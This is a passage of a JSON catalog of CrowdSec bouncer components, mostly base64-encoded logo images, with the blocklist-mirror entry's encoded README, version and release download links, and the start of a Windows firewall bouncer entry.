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", "url": "https://github.com/crowdsecurity/cs-blocklist-mirror", "description": "", "stars": 8, "downloads": 228, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+DQo8aW1nIHNyYz0iaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvY3MtYmxvY2tsaXN0LW1pcnJvci9tYWluL2RvY3MvYXNzZXRzL2JvdW5jZXIuc3ZnIiBhbHQ9IkNyb3dkU2VjLUh0dHAtYmxvY2tsaXN0LW1pcnJvci1sb2dvIiB0aXRsZT0iQ3Jvd2RTZWMtSHR0cC1CbG9ja2xpc3QtbWlycm9yLWxvZ28iIHdpZHRoPSIyODAiIGhlaWdodD0iMzAwIj4NCiA8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj4NCjxpbWcgc3JjPSJodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL2J1aWxkLXBhc3MtZ3JlZW4iPg0KPGltZyBzcmM9Imh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvdGVzdHMtcGFzcy1ncmVlbiI+DQo8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj4NCiYjeDFGNEEwOyA8YSBocmVmPSJodHRwczovL2h1Yi5jcm93ZHNlYy5uZXQiPkh1YjwvYT4NCiYjMTI4MTcyOyA8YSBocmVmPSJodHRwczovL2Rpc2NvdXJzZS5jcm93ZHNlYy5uZXQiPkRpc2NvdXJzZSA8L2E+DQo8L3A+DQoNCiMgQ3Jvd2RTZWMgQmxvY2tsaXN0IE1pcnJvcg0KDQpUaGlzIGJvdW5jZXIgZXhwb3NlcyBDcm93ZFNlYydzIGFjdGl2ZSBkZWNpc2lvbnMgdmlhIHByb3ZpZGVkIEhUVFAgZW5kcG9pbnRzIGluIHByZS1kZWZpbmVkIGZvcm1hdHMuIEl0IGNhbiBiZSB1c2VkIGJ5IG5ldHdvcmsgYXBwbGlhbmNlcyB3aGljaCBzdXBwb3J0IGNvbnN1bXB0aW9uIG9mIGJsb2NrbGlzdHMgdmlhIEhUVFAuDQoNCiMgRG9jdW1lbnRhdGlvbg0KDQpQbGVhc2UgZm9sbG93IHRoZSBbb2ZmaWNpYWwgZG9jdW1lbnRhdGlvbl0oaHR0cHM6Ly9kb2NzLmNyb3dkc2VjLm5ldC9kb2NzL2JvdW5jZXJzL2Jsb2NrbGlzdC1taXJyb3IpLg0K", "status": "stable", "version": "v0.0.1", "assets": [ { "name": "crowdsec-blocklist-mirror-freebsd-amd64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-freebsd-amd64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108573" }, { "name": "crowdsec-blocklist-mirror-freebsd-amd64.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-freebsd-amd64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108572" }, { "name": "crowdsec-blocklist-mirror-freebsd-arm64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-freebsd-arm64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108550" }, { "name": "crowdsec-blocklist-mirror-freebsd-arm64.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-freebsd-arm64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108551" }, { "name": "crowdsec-blocklist-mirror-linux-amd64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-linux-amd64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108564" }, { "name": "crowdsec-blocklist-mirror-linux-amd64.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-linux-amd64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108543" }, { "name": "crowdsec-blocklist-mirror-linux-arm64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-linux-arm64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108552" }, { "name": "crowdsec-blocklist-mirror-linux-arm64.tgz", "download_url": "https://github.com/crowdsecurity/cs-blocklist-mirror/releases/download/v0.0.1/crowdsec-blocklist-mirror-linux-arm64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-blocklist-mirror/releases/assets/66108553" } ] }, { "name": "cs-windows-firewall-bouncer", "author": "crowdsecurity", "logo": "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